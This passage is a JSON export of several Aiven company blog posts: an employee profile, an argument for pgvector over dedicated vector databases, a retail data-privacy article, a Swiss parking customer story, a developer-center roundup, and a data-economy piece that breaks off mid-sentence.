{"__i18n_lang":"en","_createdAt":"2023-12-11T09:08:25Z","_id":"3279830e-ee4b-4830-907a-e8f96b45d5df","_rev":"T130WEs22RB6SoEkOBp3pS","_type":"post","_updatedAt":"2024-11-19T09:56:19Z","authors":[{"_key":"0ad809821ec8","_ref":"1f5a7de4-2542-47c7-a37f-3205cc6fcdcf","_type":"reference"}],"body":"Like any true Crab, Yen loves the great outdoors. From her earliest days, she always sought adventures outside the classroom, whether mingling with friends at the mall or joining the lively crew of neighbourhood kids.\n\nReaching adolescence, she set her sights on distant shores. Experiencing unfamiliar landscapes, encountering diverse faces, and enjoying the richness of local cuisines were all crab-nip to her.\n\nBut as she puts it, deep down inside herself, the notion of calling a place far from home \"home\" is an open question waiting to be answered.\nSo, where has home been for her over the years? Where does she live now? And in what areas of work does she always feel right at home, wherever she is?!\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/083f9fe56b16afab381a88e413e36a4977402a82-4032x3024.jpg)\n\n*Yen and her family in Switzerland*\n\n\n### From Vietnam to Berlin\nOne thing is for sure, numbers really matter to Yen. And that’s hardly surprising, as her close-knit, multigenerational family back in Vietnam adds up to about 30 family members. They’re a constant source of support, tough, but always ready to listen to Yen and hear about her passions and needs. \n\nWhile they loved her being close at hand, they knew that heading out (and moving sideways) was always her dream. In particular, an uncle (who she sees as a father figure) asked her around six years ago: “Aren’t you going to pursue your dream of exploring Europe?”\n\nIt wasn’t an easy consideration as she already had a stable job plus friends and her extended family in Vietnam, but Yen knew it was time to shed her old shell and scuttle towards new horizons.\nThat’s how she ended up in Berlin around five years ago, which is where she remains to this day.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/797fc05d4a7f615593587f90fedec36d4267632d-1349x2024.jpg)\n\n*Yen playing Jenga at the Berlin summer party*\n\n### Why Aiven? Because it all added up!\nFrom BI tools to Excel, Yen’s professional life has always revolved around numbers. Her career at HSBC Vietnam spanned various teams, including Customer Due Diligence and Financial Crime Compliance. Yen’s keen eye for detail and enthusiasm for problem solving led her to pursue a Master’s in International Business. In the course of that, she was first introduced to the Financial Planning and Analysis (FP\u0026A) function, initially gaining exposure through a student position in the FP\u0026A team at Contentful, later working full-time at Wire as Financial Analyst.\n\nYen wasn’t actively looking to make a move when [Hanna Peltokorpi](https://www.linkedin.com/in/hanna-peltokorpi/), our Senior Talent Acquisition Partner reached out to her on LinkedIn. What particularly caught her attention was the article Hanna attached about Aiven securing a series C extension with a $2 billion valuation to drive global open search innovation.\n\nAt that time, Yen was in the final stages of the Series C due diligence process at her current company. Recognizing the complexity and challenges of the process, the impressive funding and valuation Aiven had obtained really caught her eye. Aiven was a larger sea to swim in – and its rapid growth presented both opportunities and challenges. She decided she could push her limits while contributing to Aiven’s ongoing success.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/83f1f94520387df8d0eafcc3f6961b9f18e93bb8-5062x3368.jpg)\n\n*Yen at the Crab Week 2023*\n\n### Big picture changes plus daily demands \nSince joining Aiven in early 2022, the workforce has doubled. The way her team works has seen major changes too. A new financial planning tool is taking over from the former spreadsheet-based solution, which means collaborative model building and much else. Transitioning to a quarterly planning cycle is also underway. \n\nAnother current project is the Gross Margin by Customer and Service Dashboard, a collaborative effort involving multiple teams, including Data Analytics, FP\u0026A, and Engineering. The development journey has been long but rewarding, and a pilot dashboard is now set for release.\n\nBut alongside big innovations like these, some things remain constant. Yen continues to provide timely and accurate reporting and analysis, plus actionable insights. By translating numerical data into qualitative analysis, she empowers the organization to make better informed decisions, mitigate risk, and optimize performance. \n\nTo deliver all this means Yen has a hectic schedule. To stay on top, she creates daily to-do lists, which typically evolve during the course of the day due to the many competing demands faced by the FP\u0026A team. She also carves out specific focus hours in her day. During these dedicated periods, she aims to minimize interruptions and delve into productive financial analysis work.\n\n### Yen’s advice for a career that counts\nWhile foundational financial flair is obviously crucial to any role in finance, Yen highlights three essential skills that any would-be Crab should get their claws into.\n\nFirst, priority management with consistency in scheduling and expectations. Deadlines are a constant presence in financial analysis, so prioritization of time and effort is essential.\n\nNext is communication. That involves answering questions daily and updating progress across multiple communication channels, as well as delivering key insights and presenting analyses, often to people from different departments. Asking questions and listening objectively are all part of the challenge.\n\nThirdly, there’s curiosity, whatever the situation and whatever the project. Always ask the right questions to understand why things have been done that way and to figure  out if there is a better solution. Planning and analysis require complex problem-solving skills. You need to be naturally curious – and to think sideways, of course.\nPlus, as with any Crab, showing openness, courage, and ownership are all part of the remit. Yen particularly values courage. For her, that means testing new approaches and taking evaluated actions. Be prepared to fail – but fail fast, learn faster, and keep moving forward.\n\nOur thanks go to Yen for sharing her story!\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers). And keep your eyes peeled (sideways) on the blog as we continue to meet more of our clawsome Crabs.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n","categories":[{"_key":"adad4bb48108","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"},{"_key":"0873f6a1435d","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"afda536185b7","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Aiven, Aiven logo, Interview, Career progression, Growth, Career in Finance","asset":{"_ref":"image-7300debab8780e66d29d3449546ec31fee238ae0-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-11T10:12:04.192Z","related":[{"_key":"13c6f839c568","_ref":"5f3fb605-8886-4d42-84ac-96a3c6b8cbbb","_type":"reference"},{"_key":"7f47273c35c6","_ref":"76e20acf-16a0-494f-8632-622f1d945ed5","_type":"reference"},{"_key":"47b6af69079d","_ref":"c3317e7b-b935-43d1-9665-8169a5ebdf91","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"What is life like as a financial planning and analysis (FP\u0026A) professional at Aiven? We talked to Senior Analyst Yen Pham about facts and figures.\n","metaImage":{"_type":"mainImage","alt":"Aiven, Aiven logo, Interview, Career progression, Growth, Career in Finance","asset":{"_ref":"image-7300debab8780e66d29d3449546ec31fee238ae0-1200x628-png","_type":"reference"}},"metaTitle":"Meet the Cast: Yen Pham, the Crab with the number-crunching claws"},"slug":{"_type":"slug","current":"/blog/yen-pham-the-crab-with-the-number-crunching-claws"},"subtitle":"Yen Pham has been with us for nearly two years. We caught up with her to discuss  the facts, figures, and tides of financial life at Aiven.","title":"Meet the Cast: Yen Pham, the Crab with the number-crunching claws"}
{"__i18n_lang":"en","_createdAt":"2024-07-25T19:43:28Z","_id":"6646ab5c-9136-4d83-9a32-fe50393d3d28","_rev":"h4ancfFTuSnQNBSq3ImFV6","_type":"post","_updatedAt":"2024-11-19T08:38:13Z","authors":[{"_key":"f16b698ad961","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"The heart of Generative AI (GenAI) workloads rely on the ability of computers to categorize and understand the world's data (images, sounds, text) as numerical representations called vectors. This is achieved through a process called \"embedding,\" where a model translates the data into vectors.\n\nOnce the vectors representing the data are created, they need to be stored and searched efficiently to form the core of a GenAI engine. The ability to search for similarity or dissimilarity between these vectors allows a model to determine, for example, whether an image represents a muffin or a Chihuahua.\n\nVector databases are new, dedicated databases designed to efficiently store and search high-dimensional vector data. Due to their critical role in powering various GenAI applications, they have rapidly gained awareness and adoption in the tech ecosystem.\n\nEnterprises and businesses looking to leverage GenAI for productivity gains or product enhancement face a key decision: should they adopt a dedicated vector database or utilize emerging vector capabilities within their existing data technologies?\n\nWhile dedicated vector databases offer specialized functionality for high-dimensional data, existing data technologies are also incorporating vector capabilities. The best choice depends on specific needs, infrastructure, expertise, and the criticality of production environments. \n\nThere are two primary reasons why adopting a dedicated vector database isn't necessary for most users, and why existing vector capabilities may be a better fit. \n\n## First, ease of use. \n\n[The ROI of GenAI has yet to be proven in the vast majority of cases](https://www.theregister.com/2024/06/12/survey_ai_projects/). Few implementations have reached production, and even fewer are expected to generate revenue within the next two years. Managing the risk of acquiring knowledge and capabilities without overspending or overextending resources is crucial. \n\nMany popular databases are developing vector capabilities. Let’s focus here on PostgreSQL. PostgreSQL, a widely adopted enterprise database, is enhancing its capabilities with the pgvector extension to enable efficient vector operations. This extension caters to 80% of common GenAI use cases, offering a streamlined path for organizations to explore and implement AI-driven solutions. By leveraging pgvector within PostgreSQL, organizations can quickly explore high-impact GenAI applications without a steep learning curve and [identify the most impactful use-cases](https://www.gartner.com/en/doc/gen-ai-use-case-comparison-for-information-technology-organizations). Additional benefits include PostgreSQL's ACID properties and existing security measures, ensuring accurate and up-to-date data for AI workloads.\n\nPostgreSQL's extensibility has led vendors to develop and open-source additional extensions alongside pgvector, which [claim to outperform](https://www.timescale.com/blog/pgvector-is-now-as-fast-as-pinecone-at-75-less-cost/) some dedicated vector databases.\n\n## Secondly, database development is complex and time-consuming.\n\nDatabases have been around a long time, and they have grown complex and rich with features most companies now expect as the standard. This evolution and hardening over time is just that, a function of high levels of adoption and time. \n\nNew databases fill small niches well, but due to the shorter period of time they have been in use, they lack much of the capabilities we have come to expect from an enterprise-grade database. One or two of the current crop will survive long enough to harden, but we expect most to fade away in the coming years as their adoption drops. \n\nNiche capabilities are, relative to the hardening of a new database and enterprise-grade feature parity, easier for more established databases to develop. This is why mature database technologies will gain enterprise-ready vector capabilities before dedicated vector databases harden to meet enterprise needs. \n\n## Don't Overcomplicate GenAI: Start Simple.\n\nNow that we've explored the future potential of dedicated vector databases and GenAI, I believe it's best to start simple. Look to the databases you already know and use, and investigate their increasingly mature vector capabilities before looking to adopt new, dedicated vector databases. While I’ve focused on PostgreSQL here for simplicity, OpenSearch and ClickHouse are also extremely capable in handling vector search. \n\nHaving spent time talking to customers, this path has shortened time to adoption for their businesses. Even organizations that don’t get to production increase their level of knowledge  around GenAI, which will be critical in the coming years. \n\nSo, what's the next stage of evolution for GenAI capabilities in current database technologies? \n\n**In-Database Embedding:** GenAI models will be hosted within dedicated nodes of the database cluster, allowing for embedding directly where the data resides. \n\n**Seamless AI Integration:** Near-native integration of SQL commands to external AI services and third-party tools as needed by the workload in development. \n\nAs the future of vector capabilities continues to rapidly evolve, consider simplifying your GenAI implementation journey with proven technology. Stick with the database technologies you know and their embedded vector capabilities, rather than pivoting to a new, dedicated VectorDB. At least for now. \n","categories":[{"_key":"4c2db31e218b","_ref":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_type":"reference"},{"_key":"9e4f29a80bf2","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-e39cee78f5b24bf9035f84d4bcb79e09343b646d-1200x630-png","_type":"reference"}},"publishedAt":"2024-07-26T14:00:00.000Z","related":[{"_key":"4ac5811c5bc7","_ref":"51b147a9-2d2f-4b72-a8c4-eb5bb6f99d5d","_type":"reference"},{"_key":"8afccbfef10d","_ref":"fe0e3023-05d0-4a30-830b-6c03fb4e23c7","_type":"reference"},{"_key":"cb41ec173a96","_ref":"af003bf7-aba3-434b-ade1-570f947699e1","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Discover how built-in vector capabilities can power your GenAI applications and save you from the hassle of adopting a new database."},"slug":{"_type":"slug","current":"/blog/dont-buy-the-hype-the-genai-power-you-already-have"},"subtitle":"Your database is more powerful than you think. Learn how built-in vector capabilities can power your GenAI applications and save you from the hassle of adopting a new database.","title":"Don’t Buy the Hype: The GenAI Power You Already Have"}
{"__i18n_lang":"en","_createdAt":"2024-08-14T07:20:58Z","_id":"c7e3c27e-ae34-4a51-b178-daf0bfaaf452","_rev":"T130WEs22RB6SoEkOBabUo","_type":"post","_updatedAt":"2024-11-19T07:56:50Z","authors":[{"_key":"13c9083bfaf5","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"The retail sector's increasing use of real-time data analytics is a double-edged sword in our privacy-first world. \n\nOn one hand, it is a promising new revenue opportunity that leverages what retailers, by default, can already access. On the other, it is a potential threat to consumer privacy and increases reputational and regulatory risk for the retailer. \n\n## The era of the privacy-conscious consumer\nIt’s an issue that is gaining momentum worldwide as consumers become increasingly privacy conscious. In fact, 88% of [online shoppers in the UK](https://dma.org.uk/uploads/misc/dma---uk-data-privacy-2022.pdf) say they would stop using brands and organizations that don’t value consumer data privacy. This means that any breach or data-loss issue could be hugely damaging to the brand’s reputation. [Global research](https://www.isaca.org/about-us/newsroom/press-releases/2022/1-in-3-consumers-stopped-doing-business-with-a-company-known-to-have-compromised-cybersecurity) suggests that one in three customers will cease buying from companies that have suffered a security breach.\n\nConcerningly, the retail sector is a prime target for cyberattacks. According to [reports](https://www.businessdit.com/retail-cybersecurity-statistics/?trk=article-ssr-frontend-pulse_little-text-block), in 2022, retail faced 24% of all attacks, more than any other sector. Retailers are a veritable goldmine for personal information, creating another tightrope retailers must walk. \n\nFor example, in 2022, The UK ICO (Information Commissioner’s Office) found that [Easylife](https://ico.org.uk/about-the-ico/media-centre/news-and-blogs/2023/03/ico-reaches-agreement-with-easylife-ltd/#:~:text=The%20ICO%20fined%20Easylife%20on,them%20further%20health%20related%20products.), a catalog retailer, had built profiles of 145,400 people for inferred health conditions without their consent. This resulted in a £1.5 million fine for data protection and e-marketing violations. Even the world’s biggest retailers are not immune. In July 2021, [Amazon](https://www.bbc.co.uk/news/business-58024116) was found to be tracking users’ data without acquiring appropriate consent from users or providing the means to opt-out of this tracking and was fined £636m.  \n\n## Right data, right place, right time\nBeyond the reputational impact and monetary cost in terms of fines, the frequency of data breaches completely undermines the drive for personalization, which is synonymous with shopping today. According to [Accenture](https://www.accenture.com/content/dam/accenture/final/a-com-migration/pdf/pdf-83/accenture-making-personal.pdf), 91% of consumers want a personalized online shopping experience, but in order to deliver this, retailers need access to first-party, consented customer data in real-time.\n\nAccess to real-time data is also fundamental to addressing the challenges posed by payment fraud, identity theft, and return fraud. It can detect unusual patterns and transaction anomalies, providing early warnings to prevent potential fraudulent activities and safeguarding the business and customers — but only if the appropriate architecture is in place to ensure the right data is in the right place at the right time.\n\n## A huge opportunity for retailers\nRetailers need a data platform that enables them to build versatile, reliable, and cost-effective solutions that make a tangible difference to the customer experience while keeping data secure. A platform that is quick to deploy can enable internal teams to innovate instead of fighting fires of maintenance and upgrades. This is where open source software (OSS) is key.  \n\nOSS offers an opportunity for retailers to access a vast talent pool to build effective solutions, all while enjoying the freedom to use multiple clouds, just like our customer, La Redoute.\n\n## La Redoute: Improving data control to free up team time\nE-commerce giant La Redoute needed to migrate its data infrastructure. With over 10 million customers across 26 countries, digital innovation was key to its success. They experienced a huge increase in sales post-pandemic and with it, a need to securely store and manage large amounts of data. Leveraging the Aiven Platform, La Redoute seamlessly transitioned to our Bring Your Own Cloud (BYOC) deployment model - a self-service solution that unlocks the ability to leverage innovative, cloud-native data platforms from specialized third-party partners while optimizing cloud economics - and saw huge improvements in its security team. Diogo Gomes, head of cloud transformation said, “The team used to have a traditional DBA mentality and was spending up to 90% of the day doing maintenance, patching and upgrades. That’s all handled by Aiven now, freeing up the team to focus on business projects and delivering solutions much faster. We can deploy databases in minutes rather than weeks”\n\n## Deliver sustainable long-term growth\nBalancing the need to become more data-driven and preserving customer privacy is a complex issue that requires careful consideration from businesses. While analytics can help retailers gain valuable insights into customer behavior and preferences, collecting and using personal data can also pose serious privacy risks. \n\nAchieving the right balance can build trust with customers, enhance brand reputation, and deliver sustainable long-term growth.\n","categories":[{"_key":"30d8ee4903b4","_ref":"f80824ef-ed32-4267-af89-23f63b62902d","_type":"reference"},{"_key":"9d66a33e71a0","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-53b803d6de45a6d7127ed675409e1140790e45ba-1200x628-png","_type":"reference"}},"publishedAt":"2024-09-03T09:24:00.000Z","seo":{"_type":"metaData","metaDescription":"Retailers can gain customer trust by being transparent about data use. Discover ways to get insights while safeguarding privacy. Get informed with Aiven!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-53b803d6de45a6d7127ed675409e1140790e45ba-1200x628-png","_type":"reference"}},"metaTitle":"Real-Time Data in Retail: Privacy \u0026 Ethical Dilemmas | Aiven"},"slug":{"_type":"slug","current":"/blog/the-dark-side-of-real-time-privacy-concerns-and-ethical-dilemmas-in-retail"},"subtitle":"If retailers want to build trust with customers, they must be transparent about data collection and usage. This blog provides actionable guidance on gaining valuable insights from data while protecting customer privacy.","title":"The Dark Side of Real-Time: Privacy Concerns and Ethical Dilemmas in Retail"}
{"__i18n_lang":"en","_createdAt":"2023-07-31T07:44:23Z","_id":"56e9c30c-85d9-4bb6-8440-499f43cc1379","_rev":"sEwq5NBiPauorOxrhj4qEu","_type":"post","_updatedAt":"2024-11-19T11:34:29Z","authors":[{"_key":"a9bb6c49a932","_ref":"496dfbad-f06f-469f-8658-d40fc51b4324","_type":"reference"}],"body":"The time when drivers were forced to search for coins while queuing in the rain for a parking machine are long gone. Parking providers across the world are moving towards a digital-first parking experience. Today drivers can pay in a few convenient taps from their phones while sitting in their cars. At the forefront of this revolution is the Swiss market leader Digitalparking AG, and at the heart of its solution is Aiven.\n\nDigitalparking is a Swiss, family-run company with a rich heritage of acquisitions and parking innovation. It claims Switzerland’s first coin-operated parking meter from 1956 as an important part of its history as well as the first mobile application for cashless parking launched in 2008. As its name suggests, today the company is focused on digital payment solutions for parking. Its popular Parkingpay app enables cashless, ticketless parking in over 750 locations in cities, shopping centres, hospitals and multi-storey car parks across Switzerland.\n\nAccording to Reto Schläpfer, CEO and CTO at Digitalparking: “Parking lot operators in Switzerland have it good. We provide them with complete onstreet and offstreet solutions which makes parking easy for them to manage and much more convenient for drivers. It’s our mission to make parking as quick and easy as possible for everyone.” \n\nIn addition to the initial cost of buying the parking meters, there are ongoing costs associated with emptying and maintaining them. For cost-conscious municipalities, the largest providers of offstreet parking, Digitalparking provides a cheaper option as well as extras such as handling the administration of parking permits.\n\n## More users, more transactions and a lot more data\nAs a result, increasing numbers of municipalities and car park owners now rely on Digitalparking. The company has created APIs to enable motorists to pay via leading mobile payment providers like TWINT for added convenience. As a result, more and more motorists use the Parkingpay app. For Digitalparking, this means more users, more transactions and a lot more data. \n\nWhen the company started transitioning to a digital-first offering, it chose PostgreSQL® as its primary database because of its reliability, feature robustness and performance. As an open source technology, it also provided Digitalparking the freedom to modify the software in line with the company’s needs. \n\n## Challenge of scaling PostgreSQL\nAs the Digitalparking business has evolved, the variety and volume of data stored in PostgreSQL has grown. “Initially we managed the PostgreSQL servers ourselves, but we reached a point when our small team couldn’t operate at the scale required. The data was too important and too big for us to handle so we started to look at fully managed services,” explains Schläpfer.\n\nAt that time, Digitalparking was migrating its IT infrastructure from virtual machines rented from Swiss providers over to Google Cloud to resolve ongoing network and disc I/O issues. “When we realized that Aiven services ran on Google Cloud, and that it offered Virtual Private Cloud (VPC) peering, Aiven became the obvious choice. A couple of months after migrating to Google Cloud, we started using Aiven for PostgreSQL®,” says Schläpfer.\n\nThanks to the ease of use and speed of set-up, Digitalparking completed the migration in two weeks, with no service interruption and no support required from Aiven. \n\nToday the PostgreSQL database remains at the heart of the Digitalparking offering. It stores the large volume of financial transaction details generated via the Parkingpay app including licence plate numbers, time/place and payment details. At the end of the month, based on this information, Digitalparking pays the collected parking fees to the car park owners while keeping a small portion as its renumeration.\n\nThe database also holds parking meter configuration data — the meters regularly connect to Digitalparking IT for software and system updates — as well as parking permit data and reporting information accessed by car park owners. PostgreSQL integrates with PostGIS where Digitalparking stores geographical data about the different parking locations including details on parking zones, the number of spaces and so on which enables mapping functionality.\n\n## Superior levels of scalability, performance and reliability \nSince using Aiven for PostgreSQL, Digitalparking is realizing more value from the open source solution and is achieving superior levels of scalability, performance and reliability. “PostgreSQL is now run by Aiven experts. As a result, we’ve never lost any data, version upgrades are seamless and security patching that used to take a day is completed with the click of a button. The inhouse team can now focus on their core job — providing more value to our customers,” says Schläpfer.\n\n\u003e “PostgreSQL is now run by Aiven experts. As a result, we’ve never lost any data, version upgrades are seamless and security patching that used to take a day is completed with the click of a button. The inhouse team can now focus on their core job — providing more value to our customers,” \n\nThe value goes beyond technical impact — with Aiven managing the database, Digitalparking has reduced business risks. “If the database isn’t working, Digitalpayments can’t operate. It’s as simple as that,” says Schläpfer. “It’s a big responsibility we’ve given to Aiven and we absolutely trust the team to deliver. Aiven is a key partner in helping us pursue our mission of easy parking for all.”\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"44bbbff6-f416-4cfe-83ed-55d377467999","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-260938caeb558dc0060beee5464195545b49914a-1200x628-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Customer, Customer Story, Case Study, Use Case, Apache PostgreSQL Use Case, Aiven for PostgreSQL Example, PostgreSQL, Digitalparking","asset":{"_ref":"image-260938caeb558dc0060beee5464195545b49914a-1200x628-png","_type":"reference"}},"publishedAt":"2023-08-01T07:45:00.000Z","related":[{"_key":"8bf0dbfaf4f4","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"2d8da1ee7597","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"1f58fbb078ac","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"With Aiven for PostgreSQL®, Digitalparking is realizing more value from the open source solution and achieving superior levels of scalability and performance.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-260938caeb558dc0060beee5464195545b49914a-1200x628-png","_type":"reference"}},"metaTitle":"Digitalparking Leads the Smart Parking Revolution "},"slug":{"_type":"slug","current":"/blog/digitalparking-leads-the-smart-parking-revolution-in-switzerland"},"subtitle":"Aiven for PostgreSQL® ensures business critical database runs without interruptions","title":"Digitalparking Leads the Smart Parking Revolution in Switzerland"}
{"__i18n_lang":"en","_createdAt":"2023-06-29T09:52:44Z","_id":"076d9cea-9afd-4558-87a9-320861615971","_rev":"T130WEs22RB6SoEkOENMyE","_type":"post","_updatedAt":"2024-11-20T05:58:14Z","authors":[{"_key":"471148f007d5","_ref":"18b2384d-a539-411b-8aab-d148082fe230","_type":"reference"}],"body":"The [Aiven Developer Center](https://aiven.io/developer) is your source for open source articles and tutorials on Apache Kafka®, Apache Flink®, PostgreSQL, Redis®*, Cassandra and more! Here's what we published in June 2023.\n\n\n- [Image recognition with Python, OpenCV, OpenAI CLIP and pgvector](https://aiven.io/developer/find-faces-with-pgvector): To celebrate [the launch of pgvector](https://aiven.io/blog/aiven-for-postgres-supports-pgvector) on [Aiven for PostgreSQL®](https://aiven.io/postgresql), learn how to use machine learning and vector search to detect patterns in images! You can try this out on our [Aiven for PostgreSQL free tier](https://console.aiven.io/signup). \n- [Add caching to your PostgreSQL® app using Redis®*](https://aiven.io/developer/add-caching-to-pg-with-redis): A great tutorial for beginners and students, learn how to use Redis as a caching layer for a web application that uses PostgreSQL as a backend. This tutorial also works perfectly with our [free tier](https://console.aiven.io/signup)! \n- [Create a Spring Boot application with a MySQL backend](https://aiven.io/developer/create-a-spring-boot-application-with-a-mysql-backend): Spring Boot is one of the most popular application frameworks out there, making it easy to build complex application backends. Learn how to use MySQL as a backend for a simple application! \n- [Migrate a MySQL database from one cloud to another](https://aiven.io/developer/migrate-a-mysql-database-to-a-new-cloud-provider): Learn how to migrate a MySQL database from one cloud provider to another, and update versions in the process. We like doing this using the [Aiven console](https://console.aiven.io) and its built-in migration tooling! Of course, this also works with the new Aiven free tier as well.\n\n\n---- \n\nAiven publishes new content about open source databases and streaming to our [Developer Center](https://aiven.io/developer) regularly. You can sign up for the [Aiven free tier](https://console.aiven.io) to try out many of the tutorials there and Aiven as a whole.\n\nTake a look at our [documentation](https://docs.aiven.io/) for more on our products, read our [case studies](https://aiven.io/case-studies) to see customers using Aiven in practice, and check our [events](https://aiven.io/events) for more content from the Aiven team! You can also interact with us on our [community forum](https://aiven.io/community/forum/)!\n","categories":[{"_key":"5752c56fe901","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"June 2023: what's new on the Developer Center","asset":{"_ref":"image-702d2ac07695feb8eb4ca077b5daf3d797e73f01-1567x844-png","_type":"reference"}},"publishedAt":"2023-06-29T08:29:47.192Z","related":[{"_key":"4b7fb60d3ae0","_ref":"a994f8fb-2ada-45d0-a99e-8b8d7d11d15b","_type":"reference"},{"_key":"08bcc98d45d7","_ref":"04de65a3-9096-49e0-a7b2-5fafc4d0f7d5","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven Developer Center – Discover the latest updates, new resources and interesting tools for developers. Stay connected and optimize your workflows!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-702d2ac07695feb8eb4ca077b5daf3d797e73f01-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/whats-new-on-the-aiven-developer-center-june-2023"},"subtitle":"MySQL migration, caching with PostgreSQL® and Redis®*, pgvector for PostgreSQL® and more!","title":"What's new on the Aiven Developer Center: June 2023"}
{"__i18n_lang":"en","_createdAt":"2024-11-18T13:40:49Z","_id":"ed060249-9434-471e-aa59-4802e435a290","_rev":"z6O0WKqj7P4UUyWBpxBlKW","_type":"post","_updatedAt":"2024-12-03T15:10:25Z","authors":[{"_key":"55900f924c14","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"::youtube[What is the data economy and why is it important]{#ZRrHKwjo6i0}\nBy all accounts, Europe is expected to land a lottery jackpot next year. Indeed, according to the [European Commission](https://impact.economist.com/perspectives/sites/default/files/ei233_msft_futuredata_report_-_v7.pdf), the region is tipped to be almost one trillion Euros (EUR 829 billion) better off on account of the growth in the data economy.\n\nAt a time when we’re surrounded by uncertainty and conflict, and with the threat of recession stubbornly hanging over the region, it’s also a moment that raises several important questions as we head into 2025.\n\nNot least, are we extracting as much potential from the data economy as possible? Is one trillion Euros enough and, assuming it’s not, what can be done to extract more value in the years to come?\n\n## Create better businesses, services and lives\nFirst things first. It’s important to make clear what the data economy is. Definitions vary but according to Miika Huttunen, founder of conversational AI start-up, and one of our [Aiven Cluster startup program](https://aiven.io/cluster) participants, [Realm](https://www.withrealm.com/), it means *“collecting and using data to derive benefits at both a company and society level.”* Essentially, doing more with data to create better businesses, services, and lives.\n\nThe fact that data is playing such an important and increasingly influential role in our lives can be measured by how far and how fast the value of the data economy has grown. Only two years ago it was [suggested](https://www.consultancy.uk/news/32191/europes-data-economies-worth-550-billion-by-2025) its value - also by 2025 - would be worth a mere EUR 550 billion. The fact that in only two years we’ve seen the projected value of the data economy increase by a third tells you all you need to know.\n\nIf we extrapolate beyond 2025, the figures become potentially mind-boggling. Yet that is the direction of travel.\n\n## A priority for both businesses and governments\nCapitalizing on the data economy is a major priority for both businesses and governments. There are any number of papers on the internet championing how various nations intend to go about doing this. Most initiatives include; creating a strong data infrastructure, having a high level of regulatory compliance, developing a data-literate workforce, and increasing the number of people with advanced data skills. And, of course, funds and bursaries for data-oriented start-ups entering the economy.\n\nIt was a point made clear by Luca Eisenstecken, partner at investment firm, [Atomico](https://atomico.com/). In a recent conversation, he said, *“The data economy is, at this time, almost a proxy for the whole economy. The vast majority of market participants have either transformed themselves into data driven businesses already or they're thinking about how to do that.”*\n\n## More to come from the data economy\nWhen you consider the benefits that can be unlocked with data, it’s not hard to see how it is such a valuable economy and why everyone involved is so Hell-bent on pushing it to the maximum. Data is the key to understanding what’s working and what’s not. It informs where to invest, how much and how quickly. It provides a barometer of measurement and progress. And, perhaps most importantly, it's the basis for creating a self-fulfilling cycle of improvement.\n\nIt has enabled us to move from ‘trial and error’ to ‘build and evolve’ and we’re all feeling the benefit. Yet a quick glance around your life will just as quickly point to areas where we’ve barely scratched the surface of the potential of data. The UK National Health Service (NHS) is a prime example. The [recent Dazi report](https://gmfed.org/nhs-technology-is-15-years-behind-private-sector/) claimed it is 15 years behind the private sector in its use of technology. If the NHS was fully digitized, that would probably double the value of the UK’s data economy overnight - we can but dream.\n\nThe overriding point being that there is so much more to come from the data economy.\n\n## The blessing and curse of too much data\nBut this will not be without challenge. The fact that data is such an abundant resource is both a blessing and a curse. As entrants to the data economy go from single-focus start-ups to enterprise, they risk losing control over their data. This puts data outputs in jeopardy and can lead to increased workloads as work is siloed or repeated. \n\nSolving, or at least preventing, this isn’t quick but it is relatively simple. As easy as it is to be seduced by data and the opportunities it brings, players in the data economy must also put the effort into building the infrastructure around data. This means pipelines, storage and measurement. There’s little point in having a wonderful new kitchen if your house has no walls. \n\nThis should be the focus from day one. The more this is retrofitted, the harder it will be. Again, look no further than the NHS.\n\n## One trillion Euros starting block\nOne trillion Euros feels like the finishing line but it’s not. As far as 